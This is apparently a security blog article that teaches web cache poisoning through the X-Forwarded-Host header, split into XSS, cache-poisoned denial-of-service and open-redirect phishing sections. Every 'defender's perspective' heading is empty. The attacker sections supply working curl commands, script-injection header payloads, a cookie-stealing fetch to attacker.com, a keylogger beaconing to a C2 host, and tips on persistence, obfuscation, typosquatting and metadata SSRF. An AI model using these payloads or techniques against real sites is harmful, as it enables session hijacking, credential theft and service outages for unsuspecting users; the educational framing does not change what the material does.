Cache Poisoning: The Silent Web Attack You Need to Know About

Cache poisoning occurs when a cache designed to improve performance is manipulated to store malicious content. This article breaks down XSS via cache poison, Cache-Poisoned DoS, and open redirect amplification — from both attacker and defender perspectives.

HTTP Security Headers - Offensive Theory Part 2 cover

In this section, we will focus on cache poisoning. Cache poisoning occurs when a cache, which is intended to improve performance and conserve resources, is manipulated to store malicious content. In the following examples we will describe how cache poisoning is abused from an attacker's perspective, followed by corresponding mitigation strategies. For the test we will be using the X-Forwarded-Host header.

Warning The following material is intended for educational and defensive security research purposes only. It describes techniques observed in real-world attacks to help developers, defenders, and security practitioners understand and mitigate cache poisoning vulnerabilities. No authorization or encouragement for illegal activity is implied.

Preparation for the Attack — Attacker's Perspective

  1. First we must confirm whether the site blindly trusts X-Forwarded-Host.

    1.1 Send a normal request and save the response:

    BASH
    curl -s -D - https://target-site.com/ > normal_response.txt

    1.2 Look inside the HTML for anything that uses the host/domain dynamically, like:

    1. <script src="https://target-site.com/js/main.js">
    2. <link rel="stylesheet" href="https://target-site.com/css/style.css">
    3. <img src="https://target-site.com/images/logo.png">
    4. Any social meta tags like <meta property="og:image" content="https://target-site.com/og.jpg">
    5. Note the exact domain it uses (should be the real one).

    1.3 Send the fake request to see if there are any differences:

    BASH
    curl -s -D - -H "X-Forwarded-Host: evil.com" https://target-site.com/ > poisoned_response.txt

    1.4 Compare the two files to see if the responses differ. Easiest way is using diff:

    BASH
    diff normal_response.txt poisoned_response.txt | grep evil

    Or perform a direct search:

    BASH
    grep "evil.com" poisoned_response.txt

    If the fake domain appears in dynamic parts of the code (scripts, src, meta, images, etc.) — vulnerability confirmed.

    Diff output showing evil.com reflected in the poisoned response
    Confirmation: evil.com reflected in dynamic parts of the poisoned response
  2. We still have 2 main confirmations to do:

    1. The page is cacheable. This means the site has a shared cache in front (Cloudflare, nginx, etc.) that is allowed to store and reuse responses for multiple users. To confirm this, check the response headers:

      • Cache-Control: public, max-age=300 → shared cache can store it for 5 minutes. Your poison will last up to 5 minutes max.
      • Cache-Control: private, no-cache, or no-store → not cacheable by shared caches → poisoning impossible.
      BASH
      curl -I "https://target-site.com/?cb=test123"  # First: probably MISS
      curl -I "https://target-site.com/?cb=test123"  # Second: look for HIT or increasing Age

      The homepage is unlikely to have public cache control, but it's still worth checking — high-traffic sites sometimes do cache homepages publicly. If not, spider the site by hitting individual assets. Use DevTools to find specific asset URLs, then confirm which parts can be poisoned:

      BASH
      curl -I "https://target-site.com/some/path/or/file.jpg?cb=test123"

      Public cache control is designed for saving resources on non-critical parts of the site, so almost always there is a part that can be poisoned.

    2. Cache does NOT key on X-Forwarded-Host. As explained earlier, Vary changes the regular caching key. If X-Forwarded-Host is included in Vary, the cache will treat requests with different values as separate keys — your poison stays isolated to your request and normal users get the clean version. To confirm, simply check the response headers:

      BASH
      curl -I "https://target-site.com"
    3. Now it's time to actually poison the cache.

Preparation for the Attack — Defender's Perspective

There are multiple ways of taking advantage of this situation. We will cover the mainstream ways to do so.

Option 1: XSS Cache Poisoning — Attacker's Perspective

If we oversimplify, an XSS attack occurs when a threat actor runs malicious JavaScript code in a user's browser under the site's context. Those scripts can steal data, redirect the user to a malicious site, and more. Let's see how it can be executed in our context.

  1. Control our own domain/subdomain.

    We need to buy or register a domain like attacker.com, or use a free subdomain from a provider, then point that domain to our server with our malicious code ready. The reason is simple — just look at this snippet:

    HTML
    <img src="https://attacker.com/assets/js/evil.js">

    This was supposed to be a simple image — the src is there to point to it. But since the cache is poisoned, it will point to our server instead.

  2. Craft a malicious JS payload.

    For this example we will use a simple keylogger that steals cookies and forms then beacons to our C2 (Command and Control). This code should be hosted at the exact path we pointed our poison to.

    JAVASCRIPT
    // Steal cookies and send to attacker
    fetch('https://your-c2.com/log?data=' + encodeURIComponent(document.cookie));
    // Or full keylogger
    document.addEventListener('keydown', e => {
      fetch('https://your-c2.com/key?k=' + e.key);
    });
    // Bonus: Steal localStorage, hijack forms, mine crypto silently
    alert('Pwned by cache poison!'); // For testing visibility

    Nothing stops us from making this script stealthier and more impactful. Our infrastructure is ready — time to execute the attack.

  3. Execute the plan and poison the cache.

    Send the poisoned request — the example showcases curl but other tools work too:

    BASH
    curl -s -D - -H "X-Forwarded-Host: attacker.com" "https://vuln-site.com/?cb=pwn1337" > poisoned.html

    Check poisoned.html — grep for attacker.com in scripts and links. If it's there, the backend reflected it.

    Hit again without the header:

    BASH
    curl -s -D - "https://vuln-site.com/?cb=pwn1337" | grep attacker.com

    If it shows up and you see X-Cache: HIT → poisoned for all users.

  4. Verify XSS fires on victims.

    1. Open the poisoned URL in a browser (incognito, no extensions).
    2. DevTools → Network: confirm it's loading https://attacker.com/evil.js.
    3. Console: if your JS has console.log or alert, it pops. Network tab shows beacons to your C2 with stolen data.
    4. Multi-user test: spin up VMs or proxies — each "victim" gets the same poisoned cache hit and XSS executes client-side.
  5. Bypass CSP.

    Content Security Policy (CSP) often blocks external scripts via script-src 'self'. This makes XSS cache poisoning practically impossible — unless developers commit one crucial mistake. Sometimes dynamic links are served like this:

    HTML
    <link rel="preconnect" href="https://[X-Forwarded-Host]/...">
    <img src="https://[X-Forwarded-Host]/logo.png" alt="...">
    <script src="https://[X-Forwarded-Host]/static/js/main.js"></script>
    <a href="https://[X-Forwarded-Host]/login">Login</a>
    <div title="[X-Forwarded-Host] is the best">

    To fight this we inject an inline script directly into the cached HTML. Because the [X-Forwarded-Host] value lands inside quotes (""), we can close them early and inject our payload — the classic quote breakout:

    TEXT
    X-Forwarded-Host: example.com"><script>alert(document.domain)</script>

    Now let's compare what happens to the code on the site. Original:

    HTML
    <script src="https://example.com/main.js"></script>

    Will now turn into:

    HTML
    <script src="https://example.com"><script>alert(document.domain)</script>/main.js"></script>
    Before and after comparison of HTML reflecting the injected X-Forwarded-Host payload
    Quote breakout: the injected payload splits the script tag, causing the browser to parse two separate tags

    The browser parses this as two separate script tags. The inline script runs instantly. CSP often allows unsafe-inline, or doesn't block it on older sites. More importantly, because we poisoned the cache, CSP sees our script as trusted since it's being served directly from the HTML body of the trusted origin — our target.com.

    There are still some interesting payloads worth noting:

    1. If they HTML-encode the quotes (rare), try the URL-encoded version:

      TEXT
      X-Forwarded-Host: example.com%22%3e%3cscript%3ealert(document.domain)%3c/script%3e
    2. Silent payload to avoid alerts:

      TEXT
      X-Forwarded-Host: x.com%22%3e%3cscript%3esetTimeout(()%3d%3e{fetch('https://attacker.com/steal?c='%2bdocument.cookie)},1000)%3c/script%3e
    3. When it's in title= or alt= (no src/href):

      TEXT
      X-Forwarded-Host: "><script src=//attacker.com/evil.js></script>
    4. If nothing works, try JSON injection (if host is used in a JSON response):

      TEXT
      X-Forwarded-Host: {"evil":true}//example.com

      This breaks the JSON structure. Angular/React sometimes treats it as a JS expression, which allows arbitrary code execution.

    Warning In practice, unless the JSON is eval'd unsafely (which is itself another vulnerability), the JSON injection method won't work. Don't count on it.

    Finally, confirm whether the bypass is possible by running these tests:

    BASH
    # Test 1 - basic breakout
    curl -H "X-Forwarded-Host: x.com\"><script>alert(1)</script>" "https://vuln.com/?cb=1337"
    
    # Test 2 - encoded version
    curl -H "X-Forwarded-Host: x.com%22%3e%3cscript%3ealert(1)%3c/script%3e" "https://vuln.com/?cb=1337"
    
    # Test 3 - with a dummy param to avoid trailing garbage
    curl -H "X-Forwarded-Host: x.com/anything\"><script>alert(1)</script>" "https://vuln.com/?cb=1337"

    If any of these work, the CSP bypass is possible and it's time to inject the actual payload.

  6. Mistakes to avoid.

    1. Forced Prefix or Suffix Handling. Some implementations prepend or append fixed strings to user-controlled host values, such as adding https:// or a trailing /. For example:

      HTML
      <script src="https://https://example.com/js/main.js"></script>

      This results in a duplicated protocol, producing an invalid URL. If you inject x.com"><script>alert(1)</script> it may be reflected as:

      HTML
      <script src="https://https://x.com"><script>alert(1)</script>/js/main.js"></script>

      The browser fails to execute the injected script due to the malformed URL. Common bypass techniques: start the payload with // to neutralize the enforced protocol, or absorb the appended suffix using a dummy path segment.

    2. Trailing Path Appended by the Application. Some apps construct script URLs dynamically, e.g. "https://" + host + "/static/js/main.js". An injected value like example.com"><script>alert(1)</script> becomes:

      HTML
      <script src="https://example.com"><script>alert(1)</script>/static/js/main.js"></script>

      The trailing path breaks the injected tag, causing the browser to ignore it. Mitigations: add a fake path segment to absorb the suffix, or use comment/tag-balancing techniques to preserve valid HTML.

    3. Input Sanitization or Truncation. Some applications sanitize input by escaping or removing quotes, replacing < and > with HTML entities, or truncating overly long values. These defenses often prevent direct tag injection. Bypass strategies: test URL-encoded characters (e.g., %22, %3C) or use shorter/alternative payload structures.

    4. Host Validation or Normalization. Some systems restrict allowed domains, normalize input, or strip special characters. As a result, malicious input may be rejected outright or transformed into a non-executable string.

    5. Non-Injectable Reflection Context. If the reflected value appears inside a text node, JSON structure, or an attribute without quotes, breaking out into executable HTML may not be possible.

  7. Maximize the attack's capabilities.

    1. Mass Scale. The more popular the poisoned page, the more victims are lured. Cache-Control also tells you how big your attack window is. For example: max-age=86400 (24 hours) means your poison can live for a full day unless the cache is evicted early. No need to re-poison constantly.

    2. Chain with SSRF/redirects. If the reflection lets you control full URLs (not just the host), abuse it deeper. Point resources to internal IPs (127.0.0.1, 169.254.169.254 for cloud metadata). Victims' browsers fetch those, exfiltrating internal data (AWS keys, DB credentials) to your server via error logs. Classic client-side SSRF. Or force open redirects by reflecting into <meta refresh> or location.href — the poisoned page bounces all visitors to your phishing site for mass credential harvesting.

    3. Persistence. Cache will eventually expire, but we can't allow that. A script/cronjob that re-sends the poison request every few minutes refreshes the cache indefinitely. Advanced technique: poison ETags or Last-Modified headers too — the victim's browser cache holds the poison forever (even after the CDN clears). Eternal XSS until the user manually clears cache.

    4. Detection evasion. Ways to extend your poison's lifespan: register lookalike domains (e.g., secure-vulnsite.com) to delay suspicion. Obfuscate your JS: minify, encrypt strings, use eval(fromCharCode), no obvious alerts. Make it silent — only exfiltrate data, no popups or defacement.

XSS Cache Poisoning — Defender's Perspective

Option 2: Cache Poisoned DoS (CPDoS) — Attacker's Perspective

A Cache-Poisoned Denial-of-Service (CPDoS) is achieved when an attacker caches a malicious or malformed response that causes the legitimate page content to become inaccessible. Once stored in the cache, the poisoned response is served to all users attempting to access the affected resource — effectively resulting in a denial of service.

  1. Find a Poison Value That Triggers Backend Errors.

    Not every redirect will work for CPDoS. First, we must find a fake host that will make the origin freak out. Common triggers:

    1. Invalid or disallowed host: If the backend has a whitelist of allowed hosts (via server config or WAF), set X-Forwarded-Host to something outside it. Result: 403 Forbidden or 400 Bad Request.
    2. Oversized host: Use a very long string as the fake host (e.g., "a" repeated 10,000 times). If the backend has header size limits tighter than the cache's, the cache accepts it and the origin rejects with 413 Payload Too Large.
    3. Meta characters or malformed host: Inject malformed host names with weird control chars (\r\n) or invalid characters if the backend parses strictly. Could trigger 400 or internal errors.
    4. Host pointing to non-existent resources: If the backend uses the host to fetch internal content (e.g., redirects or proxying), a bogus one might cause 502 Bad Gateway or timeouts.

    Now perform testing:

    BASH
    curl -s -D - -H "X-Forwarded-Host: superlongevilhostthatexceedslimits.example.com" https://target-site.com/ > error_response.txt

    Then grep the response for errors:

    BASH
    grep -E "400|403|413|500|502|503" error_response.txt

    Or look at the body for generic error pages like "Bad Request" or "Access Denied". If any error appears that wouldn't have been there without your manipulated request — first green flag for a potential CPDoS attack.

  2. Confirm the Error Gets Cached.

    We confirmed the error occurs, but we haven't confirmed it's cached. We don't assume — we check. Send a normal request now:

    BASH
    curl -s -D - https://target-site.com/ > post_poison.txt
    1. Compare: If post_poison.txt also contains the error, then the poison will work for everyone.
    2. Bonus: Use a cache-buster param if needed (e.g., ?cb=ignoreme), but only if the cache keys ignore it. Watch the Age header increase on repeats to confirm hits.

    However, the chance of failure here is high since most setups DON'T cache non-200 responses. To work around this, spider the site to find an endpoint that WILL cache the poison.

    Diagram showing the flow of a CPDoS attack confirming cached error responses
    CPDoS flow: poisoned error response gets cached and served to all subsequent users
  3. Execute the DoS Poison.

    After confirming that poisoning is possible, it's time to unleash the attack.

    1. Send the poisoned request to the target endpoint. Example for an oversized host attack:

      BASH
      curl -s -D - -H "X-Forwarded-Host: $(printf 'a%.0s' {1..10000}).evil.com" https://target-site.com/some/cacheable/path > /dev/null
    2. Repeat if max-age is short — automate with a loop or script to re-poison every few minutes.
    3. For maximum impact, target high-traffic pages.

    Legitimate users will receive errors; their browsers will fail to load scripts, CSS, images, or even the full page. This can severely damage the organization under attack.

  4. Edge Cases — Increase Severity.

    1. Vary bypass: If Vary includes other headers, spoof them to match normal requests.
    2. Multi-layer caches: Poison CDNs first, then origins if possible.
    3. Defenses to watch: WAFs might block weird headers — test stealthily. If hosts are normalized, the poison will be useless.

Cache Poisoned DoS (CPDoS) — Defender's Perspective

Option 3: Open Redirect / Phishing Boost by Cache Poisoning — Attacker's Perspective

If you're familiar with phishing, understanding this attack is not difficult. In this case, a poisoned cache causes the victim's browser to redirect to a resource controlled by the attacker. This can result in users willingly submitting credentials through social engineering, or unintentionally leaking session tokens or cookies.

For example:

  1. A user clicks an image on instagram.com.
  2. Instead of being redirected to a legitimate resource owned by Instagram, the user is redirected via a previously poisoned cache to instagrarn.com (intentional typosquatting).
  3. Because the redirect originates from a trusted domain, the user believes the flow is legitimate and enters login credentials, which are sent directly to the attacker.
  4. Alternatively, sensitive data can be leaked through the Referer header — for example, the attacker may observe Referer: https://instagram.com/account?session=ABC123, allowing them to hijack the user's session while it remains valid.

To perform this kind of attack, the following steps must be satisfied.

  1. Prepare your Endpoint.

    This step is practically the same as in the XSS cache poisoning section. In order to succeed you need to understand your position:

    1. What do you have in hand: How good are your skills and are they enough for your plans? Do you own or rent proper infrastructure (domain/subdomain, VPS, etc.)?
    2. What will bypass the target's security: What is theoretically possible given the layers of security the target has?
    3. What is your end-goal: Depending on your goal, your actions to achieve it will be different.
  2. Identify a vulnerable open redirect endpoint.

    Spider the site to find URLs that perform redirects based on parameters (e.g., /redirect?url=..., /go?to=..., /link?dest=...) or reflect unkeyed headers like X-Forwarded-Host in Location headers or meta refreshes. Prioritize static-like assets (images, trackers, ad links) as they're often publicly cached.

    BASH
    curl -I -H "X-Forwarded-Host: evil.com" "https://target.com/redirect?cb=test"
  3. After verifying that the cache poison is successful (subsequent clean requests receive a cache HIT and are redirected to your controlled test domain), ensure persistence by automating re-poisoning requests if the max-age is limited — for example, via a scheduled script:

    BASH
    curl -s -H "X-Forwarded-Host: evil.com" "https://target.com/redirect?url=/demo&cb=poison123" > /dev/null
Important Cache buster handling: If the endpoint ignores cache-buster params (?cb=xyz) in the key, your poison spreads to all variations of that path — massive amplification.

Browser caching bonus: If the response lacks no-cache headers, victims' local browsers also cache the poison — it persists even after the CDN evicts it.

Open Redirect / Phishing Boost by Cache Poisoning — Defender's Perspective

💡
Tip — Chain with other vulnerabilities
  1. If there's also param reflection (like ?next=), combine it for an open redirect + cache poison chain.
  2. Or poison error pages by forcing a 404 with a bad path and reflecting the host there.

Warning Only test against systems you own or have explicit written permission to test.
Back to Articles